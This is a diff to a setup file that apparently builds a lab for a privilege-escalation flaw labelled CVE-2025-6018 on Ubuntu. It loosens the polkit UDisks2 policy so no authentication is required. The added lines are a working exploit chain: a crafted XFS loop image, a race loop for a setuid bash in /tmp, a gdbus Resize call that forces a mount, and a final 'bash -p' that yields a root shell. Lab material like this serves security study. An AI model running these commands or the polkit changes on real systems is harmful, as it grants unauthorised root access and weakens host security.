diff --git a/setup.md b/setup.md index 0c2c9ee..39eb46f 100644 --- a/setup.md +++ b/setup.md @@ -1,9 +1,28 @@ # Setup fake CVE-2025-6018 (For Ubuntu) +```bash +sudo apt update +sudo apt install xfsprogs +``` + ```bash sudo sed -i 's/auth_admin<\/allow_any>/yes<\/allow_any>/g' /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy sudo sed -i 's/auth_admin<\/allow_inactive>/yes<\/allow_inactive>/g' /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy sudo sed -i 's/auth_admin<\/allow_active>/yes<\/allow_active>/g' /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy sudo systemctl restart polkit +``` + +```bash +udisksctl loop-setup --file ./xfs.image --no-user-interaction + +while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null & + +gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' + +find /tmp | grep blockdev + +mount + +/tmp/blockdev*/bash -p ``` \ No newline at end of file